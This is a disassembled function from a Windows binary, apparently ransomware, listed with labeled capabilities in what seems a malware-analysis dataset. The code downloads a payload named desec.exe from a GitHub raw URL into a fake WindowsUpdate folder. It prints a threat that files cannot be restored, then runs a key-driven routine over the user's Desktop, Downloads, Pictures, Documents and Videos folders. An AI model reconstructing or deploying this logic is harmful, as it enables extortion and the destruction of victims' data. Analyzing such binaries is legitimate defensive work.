Function at 0x140018e15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x14003ec80
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x172
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140062040]
xor rax, rbp
mov qword [rbp + 0x7f0], rax
lea rcx, [0x14006f13b]
call fcn.1400194e1
lea rcx, [rbp + 8]
call fcn.140018037
nop
lea r8, [rbp + 8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x4a8]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.AppDataLocalWindowsUpdate2.4.7desec.exe
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x48]
call fcn.14001930b
nop
lea rcx, [rbp + 0x4a8]
call fcn.1400183d4
lea rdx, str.https:__raw.githubusercontent.com_randompersonsomenone_sec_main_desec.exe
lea rcx, [rbp + 0x88]
call fcn.14001896f
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x88]
call fcn.140018cc6
movzx eax, al
test eax, eax
jne 0x14003ed93
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.Erreur:_Impossible_de_t
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0x4e4], 1
lea rcx, [rbp + 0x88]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x48]
call fcn.1400183d4
nop
lea rcx, [rbp + 8]
call fcn.1400183d4
mov eax, dword [rbp + 0x4e4]
jmp 0x14003f2c2
lea rdx, str.desec.exe
lea rcx, [rbp + 0x508]
call fcn.1400186e5
nop
lea rcx, [rbp + 0x508]
call fcn.140018f9b
nop
lea rcx, [rbp + 0x508]
call fcn.1400191c6
lea rdx, str.__DONT_CLOSE_OR_SHUTDOWN_OR_YOU_WHILE_NEVER_CAN_RESTORE_YOUR_FILE
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001825d
lea rcx, [rbp + 0xc8]
call fcn.140018735
nop
mov edx, 0x1e
lea rcx, [rbp + 0x108]
call fcn.140018479
nop
lea rcx, [rbp + 0x148]
call fcn.140018d66
nop
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x108]
call fcn.140018d0c
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x548]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Desktop
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x188]
call fcn.14001930b
nop
lea rcx, [rbp + 0x548]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003eeac
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003eeac
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4f
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x588]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Downloads
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x5c8]
call fcn.14001930b
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b9
lea rcx, [rbp + 0x5c8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x588]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003ef6c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003ef6c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4f
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x608]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Pictures
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x648]
call fcn.14001930b
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b9
lea rcx, [rbp + 0x648]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x608]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f02c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f02c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4f
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x688]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Documents
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x6c8]
call fcn.14001930b
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b9
lea rcx, [rbp + 0x6c8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x688]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f0ec
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f0ec
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4f
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x708]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Videos
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x748]
call fcn.14001930b
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b9
lea rcx, [rbp + 0x748]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x708]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f1ac
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f1ac
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4f
xor r8d, r8d
lea rdx, [0x140055d2c]
lea rcx, [rbp + 0x1e8]
call fcn.14001815e
nop
lea rcx, [rbp + 0x1e8]
call fcn.14001896a
movzx eax, al
test eax, eax
je 0x14003f21d
lea rcx, [rbp + 0x1e8]
call fcn.1400181d1
movzx eax, al
test eax, eax
je 0x14003f21d
lea rdx, [0x140055d2c]
lea rcx, [rbp + 0x788]
call fcn.14001896f
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x788]
call fcn.140018b4f
nop
lea rcx, [rbp + 0x788]
call fcn.1400183d4
lea rdx, str.C:Users
lea rcx, [rbp + 0x228]
call fcn.14001896f
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x228]
call fcn.140018b4f
mov dword [rbp + 0x7c4], 0
lea rcx, [rbp + 0x228]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x1e8]
call fcn.1400192fc
nop
lea rcx, [rbp + 0x188]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x148]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x108]
call fcn.1400183d4
nop
lea rcx, [rbp + 0xc8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x88]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x48]
call fcn.1400183d4
nop
lea rcx, [rbp + 8]
call fcn.1400183d4
mov eax, dword [rbp + 0x7c4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140053020]
call fcn.140019126
mov rax, rdi
mov rcx, qword [rbp + 0x7f0]
xor rcx, rbp
call fcn.140018a05
lea rsp, [rbp + 0x808]
pop rdi
pop rbp
ret